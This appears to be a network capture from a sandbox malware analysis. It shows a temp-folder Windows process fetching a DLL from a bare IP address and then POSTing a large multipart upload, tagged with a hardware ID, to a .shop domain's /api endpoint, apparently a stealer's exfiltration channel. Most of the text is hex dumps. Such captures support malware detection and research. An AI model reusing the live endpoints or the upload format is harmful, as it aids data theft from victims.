2024-05-24 07:43:41 UTC	818	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=khe5vkpcr7i1s1pq4og48ck6fd; expires=Tue, 17-Sep-2024 01:30:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oq%2BURXnWI2N1E%2BH9khDmlA3xBMbk5A1Is60OnW57shQCZSvqJiM0wBjoSvtkASENVcSuYBmVt27YyOc4bJxXzN%2FDIB7Y4B%2BZAn5ll9wnA2fsGBUlSTmUVJucUVgwfDlrMrVqAZ%2Bgd41%2B5g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7fb69337cfc-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.4	50020	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:42 UTC	174	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-24 07:43:42 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:42 GMT Content-Type: application/octet-stream Content-Length: 450024 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-6dde8" Accept-Ranges: bytes
2024-05-24 07:43:42 UTC	16138	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-05-24 07:43:42 UTC	16384	IN	Data Raw: 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 6d 00 72 00 2d 00 69 00 6e 00 00 00 6d 00 73 00 2d Data Ascii: hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mnmr-inms-
2024-05-24 07:43:42 UTC	16384	IN	Data Raw: 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 c8 8b 00 10 00 Data Ascii: {\|L@DX}0}}M@4}0}}4M@tXM}0}}XM@
2024-05-24 07:43:42 UTC	16384	IN	Data Raw: c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 45 fc dd e2 df e0 dd da f6 c4 44 7b 49 d9 c2 d8 c1 Data Ascii: E]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]ED{I
2024-05-24 07:43:42 UTC	16384	IN	Data Raw: f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 0b 83 c0 02 83 6d d4 01 75 ec 8b c2 85 c0 74 26 3b Data Ascii: f;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90utmut&;
2024-05-24 07:43:42 UTC	16384	IN	Data Raw: cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 cc 53 57 8b f9 83 7f 4c 00 75 04 33 db eb 24 56 e8 Data Ascii: UjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jjSWLu3$V
2024-05-24 07:43:42 UTC	16384	IN	Data Raw: 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e 01 51 e8 20 94 ff ff 83 7d fc 10 59 0f be 4d 14 89 Data Ascii: r@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WENQ }YM
2024-05-24 07:43:42 UTC	16384	IN	Data Raw: 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 e8 73 03 02 00 03 c3 89 04 f7 83 d2 00 8b da 89 5c Data Ascii: MS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4s\
2024-05-24 07:43:43 UTC	16384	IN	Data Raw: 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 7c 69 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 Data Ascii: uF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv\|iqY(R
2024-05-24 07:43:43 UTC	16384	IN	Data Raw: 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 83 ee 01 74 11 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 Data Ascii: u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tWt}ErE

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.4	50021	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:42 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 564510 Host: employhabragaomlsp.shop
2024-05-24 07:43:42 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:42 UTC	15331	OUT	Data Raw: 3e 46 2a d8 6e 32 17 3f 62 07 0a f8 70 9a 68 b8 eb a7 2b f3 31 c4 e0 a1 84 bc 4d 87 1a 6e 7f 3d d8 0f 04 c4 a8 e9 b7 b7 7b 25 0a ca b7 2e b6 32 8c 2f cb 7b e3 af f2 69 a9 72 e1 fa 39 46 d3 5f 6b be 62 f4 25 49 93 74 87 4c fe 64 4f 6a fc b4 0d c8 56 df 5e b2 b1 8d b0 3e 80 e2 a4 b5 72 47 2b 0a 13 36 9c f2 f1 61 b1 eb 02 b3 1c d3 f6 a8 50 4b 0c 89 a0 e6 86 44 31 a1 71 eb 53 ba d4 54 1e ab 2f d4 a7 28 6a f9 0a d8 e4 3e 94 d7 bd 6b 12 52 2c 6b 05 91 47 eb 6b bf 3c fc c2 1d d5 77 8b dc ba 70 2b c0 fa 63 72 a4 71 78 58 2f ee e4 5e 1a 2a a9 d8 fd cb 97 ac dd 32 85 6b f0 a1 89 2c 96 79 2d 6d 3d 0f 0b 71 bf fa 20 a9 d1 ea 51 1f ce 65 6d b6 e2 d2 68 68 ca 5e eb df 69 7a 9d 5e 2b 40 00 90 80 81 21 d5 1f 7a 76 fc 52 3b 5d 0c 22 db c1 6b 9b 35 d7 c6 31 c9 59 85 8e ad Data Ascii: >Fn2?bph+1Mn={%.2/{ir9F_kb%ItLdOjV^>rG+6aPKD1qST/(j>kR,kGk<wp+crqxX/^2k,y-m=q Qemhh^iz^+@!zvR;]"k51Y
2024-05-24 07:43:42 UTC	15331	OUT	Data Raw: 24 5d f9 00 3e 68 2e b1 d2 a5 52 bc 53 00 a4 84 7d 3d 01 a9 6d f9 60 a8 0f 10 a5 bc 35 f2 63 73 dc 82 f1 c8 6e 07 d3 94 51 6b 2c 85 a0 59 7e 90 9d e4 b9 8b 46 e3 c3 08 9c af e7 27 c4 10 49 31 ce 0e ac 82 77 04 73 47 cb 3c de 2e cd ea 71 8d 7e 38 e9 cf 56 5b f1 ef de d4 fa 88 5b 65 1a 56 4e e9 e7 33 83 bf 80 11 53 c8 00 21 6c 9d 02 ca 71 a8 e3 68 82 2d 74 cb e8 11 b6 9b 48 9e 11 01 8d 64 9a 6f 55 72 ce 77 43 d2 eb eb ef f0 71 26 a2 df 03 96 78 cb d6 13 ad cf 96 7a ee d9 c8 fb 7c b7 ed fb 9b c9 aa 74 42 a7 3b 1e 53 c2 bb f9 1a 0e 7e 16 56 f3 f2 2d b9 a0 06 da c5 c7 a1 6f fa b9 1f c0 c2 6d 47 ce 6d 27 a6 7d 69 cb 89 a1 d8 67 5d b0 8f b8 ac 96 f4 5b a9 3f f2 d0 4d de 4d 96 5a 2b 26 9b e7 ff aa 64 14 78 ba 12 bf f9 b8 5d 6c 98 c2 9d 14 b0 ba 6b 12 f9 5d 32 fb Data Ascii: $]>h.RS}=m`5csnQk,Y~F'I1wsG<.q~8V[[eVN3S!lqh-tHdoUrwCq&xz\|tB;S~V-omGm'}ig][?MMZ+&dx]lk]2
2024-05-24 07:43:42 UTC	15331	OUT	Data Raw: e5 04 a2 85 26 bb 6c 55 dd e8 31 21 e5 ac e8 35 51 d0 bd ee f3 6a 03 3b 9f db 51 8b 55 ba ef 58 b9 21 d2 ed 57 2f 4f 4d 67 ac b4 6c d0 74 97 92 48 c9 5b d3 9a a2 59 bb d2 2e ed 75 3e 61 65 66 23 d7 d1 f6 dc cc 23 0e 25 00 f4 0c 4d de c9 65 da 04 db 9e 3f 22 94 ba e5 ee 8e 79 68 20 4c cf 01 14 ef 8d 73 be e2 1f 2c cd 73 e7 93 42 bd b2 e3 b1 51 08 b6 3f 61 05 65 45 38 c3 31 f7 17 05 3e 5e 3e 56 c1 0b 76 a1 0a 60 cb 3e 38 59 2c 0a 63 96 59 c1 6a 9d 31 23 e6 59 d4 d5 2a ff 96 8e 0e bf 51 9e 39 7b 7a 1f 89 db 08 f7 f9 2f 64 4e ff 01 f3 65 7b ba a6 ab e5 5f fc ea 2c a8 52 2c 63 45 e8 1d 64 c3 6a 63 49 97 e4 7d 9b 06 ab 0d a3 03 ab 78 f8 df 9f 12 f0 6f 91 9b 87 e7 98 47 e4 12 a6 d4 82 04 66 ca e1 4b c0 b7 a5 f0 ef d8 b7 3e 73 19 0f 23 ac 52 2f 82 ef 03 02 bf 06 Data Ascii: &lU1!5Qj;QUX!W/OMgltH[Y.u>aef##%Me?"yh Ls,sBQ?aeE81>^>Vv`>8Y,cYj1#Y*Q9{z/dNe{_,R,cEdjcI}xoGfK>s#R/
2024-05-24 07:43:42 UTC	15331	OUT	Data Raw: cb 06 ec 85 1e 4d 23 f3 f0 b6 ed 89 d7 98 64 7d 3a 49 a9 bf b3 61 a8 20 ef ce 51 1f 3a a1 e6 e1 84 54 7f 51 76 c9 4c ca 2f aa 31 7d 23 e5 1a 3f 63 c3 8d cb bc 5f 4e 21 3b f3 8f 38 88 a8 e8 58 1d b0 3a 4d e0 d1 eb ec e7 81 1b 86 04 02 71 57 8f d9 5e e2 a1 2c 3b ad 9d da bf 49 02 23 52 ae f2 3d 70 e0 68 66 20 ee 00 e9 87 3e 9e 94 55 b9 51 46 8a f1 ae 09 e0 9b b4 a3 1b 33 30 cf ac 9b 7f 0a 8a 30 cd 3a e4 63 c7 76 d7 a7 6a b3 7c 93 3c 54 49 f2 d8 46 3c 73 cd f3 91 8d c4 80 a2 18 af 92 79 03 29 4b 36 8d c6 78 9d 52 1f a6 d3 63 e9 0e ec 41 1e 62 33 d5 e3 07 4e 64 4b f5 45 04 b0 ba ea f8 f5 84 ad 1c 42 43 9a 7c e6 59 55 02 45 3f 61 83 40 2e 21 b9 ca bd 03 cb 1f d2 b0 f1 9a bd 4b 09 11 9f c4 fe b5 a5 9b d9 c8 5f e6 0c 5e ed 89 e4 da 10 41 1d c6 f1 32 e3 c2 c5 e2 Data Ascii: M#d}:Ia Q:TQvL/1}#?c_N!;8X:MqW^,;I#R=phf >UQF300:cvj\|<TIF<sy)K6xRcAb3NdKEBC\|YUE?a@.!K_^A2
2024-05-24 07:43:42 UTC	15331	OUT	Data Raw: 55 16 98 55 d5 c9 c2 c9 63 6d 25 ee 0a 24 7b da c4 6c 8b 0e 1c 20 70 9d 91 15 08 6e 51 b3 d2 39 0d 9d c5 95 84 85 84 4c 34 68 7c 4c 8b 89 08 bb 75 d0 97 bd 25 f7 83 01 64 f6 82 18 c0 5a 26 fb 70 fe 64 66 be 07 56 bd b4 5f e5 5f 7e 4d 7c 14 18 43 d1 fb 7a 5c 1a 8f 60 ad 3d 2e 1e b7 9e ea f1 a9 91 35 98 5f 64 48 f2 80 73 77 fd b3 1f 46 da f1 7b bc 25 b5 fb a1 94 11 a4 62 fc 7a aa 30 d3 0e f8 8e d3 f2 0f 01 ea fd 02 bd e4 45 0d 8c 4d 5a fc de 87 f2 96 97 f1 57 1f 9b 4b f2 7a f9 63 67 ef 5e f5 18 38 d5 76 1d 3d 1b 48 24 d6 19 68 e2 60 0d 01 b0 2a cd e6 13 02 fc 9f a0 ff 73 de 52 05 94 51 7c 5e 40 74 0b 27 38 1d 45 99 da d9 c4 aa 7c 40 90 2b b2 f6 80 20 95 42 79 e5 c5 cf 0c 00 14 0a 12 32 7a ef f4 af 9c 64 5a 9b a7 68 e5 ab 06 58 ac dd bd bc fd 47 07 5d a2 b5 Data Ascii: UUcm%${l pnQ9L4h\|Lu%dZ&pdfV__~M\|Cz\`=.5_dHswF{%bz0EMZWKzcg^8v=H$h`*sRQ\|^@t'8E\|@+ By2zdZhXG]
2024-05-24 07:43:42 UTC	15331	OUT	Data Raw: a1 70 22 1b 37 1e 09 42 ac a6 e1 37 36 45 d7 2c 12 f4 fa d9 6e 3d 86 42 75 a3 ed 9d 09 c2 24 e0 dd dd d8 de 6e db b4 06 6d 63 2c 00 e1 c3 98 6f b3 ba 9d 66 43 c9 59 6e fc 71 24 3e d8 63 77 a0 3a 4a f1 40 44 4b f1 fa 4a 70 dd 57 8b d1 30 b5 0f 8d bf cf 11 c6 e4 25 ce 61 6d ad 4a 44 2f 62 c0 ab b5 28 b0 76 5f b4 d2 a4 91 f9 59 b8 b7 71 77 f3 55 a1 7e 85 82 b6 ef bc a5 2f 9d b6 3e df cd ec 0b 97 90 a0 ef cd b0 6e 5d db a4 aa ec dd b9 c4 5a a9 bf c0 98 53 69 4d b9 e1 65 0a 15 17 7e fe 24 ab 06 67 4d e2 83 b5 ef ed c5 d8 8d 8e 85 f7 ba d9 98 ae d6 05 d9 6d f6 6f 47 f5 8e 88 4e 3e f8 d1 50 73 6c 24 03 ae f7 be c2 4b b6 13 de b0 f5 32 b7 f1 de cf 9d f9 a9 bc 6b 0f 26 c6 2a e5 27 f0 df 79 81 8d cc f3 0b 60 ad 2d 6b fc 27 33 20 6f ad 60 12 1c e3 73 0d fd c4 0d 34 Data Ascii: p"7B76E,n=Bu$nmc,ofCYnq$>cw:J@DKJpW0%amJD/b(v_YqwU~/>n]ZSiMe~$gMmoGN>Psl$K2k&*'y`-k'3 o`s4
2024-05-24 07:43:42 UTC	15331	OUT	Data Raw: 8d 54 b8 35 d6 72 a6 25 5d 56 53 8b 4d bd 26 ab f9 34 45 67 ff ab 57 41 2b c3 ea a4 88 b7 f2 85 89 11 bd a7 05 23 f6 51 01 88 2a 5b b5 39 48 e4 1f 73 ec fd cf 2f 74 b1 fe 1d 07 94 06 c3 54 f9 ef 76 56 73 27 a8 01 d6 5d 27 66 c6 ab 96 33 b8 c1 c6 23 61 1a b5 2a 2a e9 09 c2 6a a0 a5 9b 76 db 57 0f 1e 1b 3b a9 34 16 2a c7 bc f7 8f 02 83 a4 91 fe d4 08 47 5f 6a 77 cc aa fd 40 a1 ed d2 fe e9 14 a1 78 bd a8 f6 90 33 0c be 35 d1 95 b0 2a 8b eb cb 3d 5f 15 1b ec 58 35 50 fc a1 fb 65 a2 51 44 fb c8 9f 1d 0d 91 39 fe eb a0 ed 1a 8c b2 7a 30 0c 0d 99 c8 a9 d7 04 d3 f6 a6 cf f8 30 1e 60 34 9d 7b 69 c3 6b c3 47 5c e4 1b 6a 6d 80 23 3d 38 22 4b 14 2f 7a c6 a8 e1 ae cf ef 00 21 dc e8 20 63 75 7e ac 9f 87 3c 76 47 d4 3e 7f 2a 98 6e 1e af 10 57 a5 34 5d 18 66 41 f3 c9 f1 Data Ascii: T5r%]VSM&4EgWA+#Q[9Hs/tTvVs']'f3#ajvW;4G_jw@x35=_X5PeQD9z00`4{ikG\jm#=8"K/z! cu~<vG>nW4]fA
2024-05-24 07:43:42 UTC	15331	OUT	Data Raw: 5e 8e cf fe 00 66 34 35 8a cc e0 31 33 45 54 fd 69 cb 8e 28 e1 9f e0 02 e2 98 22 2f 42 74 a4 9d 05 4a 0c 81 4d 99 aa 6a 98 3c 93 7d e2 e1 10 75 76 1f 41 36 c3 e9 38 1c a1 9d 60 ef f0 75 63 f0 bc fb f6 1e 86 0d 15 a3 8b ef 0b e7 c4 ea 97 25 10 5a 6a 08 15 31 b7 f9 09 84 fe 86 1c 93 08 d3 54 56 e6 4e 71 37 cd 40 a2 ea 54 29 9a fc f9 a4 c5 0f 48 eb cb e4 8b d8 d7 f9 1a ef 84 fa 6d 94 ec 54 18 4a 5c 84 af 3a 7a 45 1b 22 9f 1d ea 03 e5 22 0c 28 c6 a5 6b 58 7a 20 6f 89 1b 84 1f ce 90 51 13 8b 3b e3 f2 7c 35 b3 00 39 c5 f3 b5 00 25 8e 89 8f 56 40 b0 3a a6 32 41 e2 35 bc 2f 6b f8 ce cd aa b2 da c1 e7 5b 83 d2 10 3e 35 8c 2d 1b a9 69 22 11 d7 79 92 ad 71 d4 04 01 27 33 e3 5c 01 